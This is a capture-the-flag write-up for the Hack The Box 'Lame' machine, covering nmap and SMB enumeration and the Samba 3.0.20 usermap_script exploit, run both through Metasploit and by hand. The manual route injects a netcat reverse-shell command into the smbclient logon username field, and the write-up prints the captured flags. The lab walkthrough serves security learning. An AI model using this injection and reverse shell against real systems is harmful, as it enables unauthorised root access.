N/A







USER

Enumeration

root@nidus:/git/thm# nmap -Pn -sC -sV -n 10.10.10.3
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-30 10:09 CEST
  Nmap scan report for 10.10.10.3
  Host is up (0.035s latency).
  Not shown: 996 filtered ports
  PORT    STATE SERVICE     VERSION
  21/tcp  open  ftp         vsftpd 2.3.4
  |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  | ftp-syst:
  |   STAT:
  | FTP server status:
  |      Connected to 10.10.14.4
  |      Logged in as ftp
  |      TYPE: ASCII
  |      No session bandwidth limit
  |      Session timeout in seconds is 300
  |      Control connection is plain text
  |      Data connections will be plain text
  |      vsFTPd 2.3.4 - secure, fast, stable
  |_End of status
  22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  | ssh-hostkey:
  |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
  139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
  445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
  Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

  Host script results:
  |_clock-skew: mean: -3d00h51m31s, deviation: 2h49m45s, median: -3d02h51m34s
  | smb-os-discovery:
  |   OS: Unix (Samba 3.0.20-Debian)
  |   Computer name: lame
  |   NetBIOS computer name:
  |   Domain name: hackthebox.gr
  |   FQDN: lame.hackthebox.gr
  |_  System time: 2020-07-27T01:17:55-04:00
  | smb-security-mode:
  |   account_used: guest
  |   authentication_level: user
  |   challenge_response: supported
  |_  message_signing: disabled (dangerous, but default)
  |_smb2-time: Protocol negotiation failed (SMB2)

SMB

Login in to the ftp with anonymous:anonymous we find nothing of use. Enumerate the SMB shares using smbmap and smbclient.

root@nidus:/git/htb/lame# smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445	Name: 10.10.10.3
        Disk                                                  	Permissions	Comment
  ----                                                  	-----------	-------
  print$                                            	NO ACCESS	Printer Drivers
  tmp                                               	READ, WRITE	oh noes!
  opt                                               	NO ACCESS
  IPC$                                              	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))
  ADMIN$                                            	NO ACCESS	IPC Service (lame server (Samba 3.0.20-Debian))

The share tmp seems interesting, both read and write permissions - lets enumerate more there.

NOTE:

If you’re experiencing this error when trying to list with smbclient: “protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED”. Then go ahead and add the following two lines to /etc/samba/smb.conf under [global]:

 client min protocol = NT1
 client max protocol = SMB3
root@nidus:/git/htb/lame# smbclient \\\\10.10.10.3\\tmp
  smb: \> ls
  .                                   D        0  Mon Jul 27 07:50:50 2020
  ..                                 DR        0  Sun May 20 20:36:12 2012
  5145.jsvc_up                        R        0  Mon Jul 27 07:17:46 2020
  .ICE-unix                          DH        0  Mon Jul 27 07:16:41 2020
  .X11-unix                          DH        0  Mon Jul 27 07:17:08 2020
  .X0-lock                           HR       11  Mon Jul 27 07:17:08 2020

There’s nothing of direct use for us in here either. Instead we change the approach and look for known samba vulnerabilities.

Using searchsploit we look for any direct vulnerabilities of Samba version 3.0.20.

root@nidus:/git/htb/lame# searchsploit samba 3.0.20
  ---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    Exploit Title                                                                                                              |  Path
  ---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
  ..
  Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)                                            | unix/remote/16320.rb
  ---------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Direct we find a msf module available. Turns out this module gives us instant root. Grab root.txt and user.txt

  msf5 auxiliary(scanner/ssh/ssh_enumusers) > use exploit/multi/samba/usermap_script
  msf5 exploit(multi/samba/usermap_script) > set lhost 10.10.14.4
  msf5 exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
  msf5 exploit(multi/samba/usermap_script) > run

    [*] Started reverse TCP handler on 10.10.14.4:4444
    [*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.3:46617) at 2020-07-30 10:53:52 +0200

    whoami
      root
    pwd
      /
    cat /root/root.txt
      92caac3be140ef409e45721348a4e9df
    ls -al /home
      total 24
      drwxr-xr-x  6 root    root    4096 Mar 14  2017 .
      drwxr-xr-x 21 root    root    4096 May 20  2012 ..
      drwxr-xr-x  2 root    nogroup 4096 Mar 17  2010 ftp
      drwxr-xr-x  2 makis   makis   4096 Mar 14  2017 makis
      drwxr-xr-x  2 service service 4096 Apr 16  2010 service
      drwxr-xr-x  3    1001    1001 4096 May  7  2010 user
    cat /home/makis/user.txt
      69454a937d94f5f0225ea00acd2e84c5

Or manually without metasploit:

Logging in as anonymous user on the smb-service we find that ‘logon’ option is available. We can exploit this directly to get a reverse shell.

(a) Verify options with ‘?’ or ‘help’

smbclient \\\\10.10.10.3\\tmp\\
smb: \> ?
  [..]
  wdel           logon          listconnect    showconnect    tcon

(b) Setup a reverse shell to your box

smb: \> logon "./=`nohup nc -e /bin/sh 10.10.14.10 4488`"
  Password:
  session setup failed: NT_STATUS_IO_TIMEOUT

(c) Grab the incomming session

[root:/git/htb/lame]# nc -lvnp 4488                                                                                               (master✱)
listening on [any] 4488 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 58543
  whoami
  root
  python -c 'import pty;pty.spawn("/bin/bash")';
  root@lame:/root# cat root.txt
    cat root.txt
    744e9fa96f4e8423020ccb841c60e4d2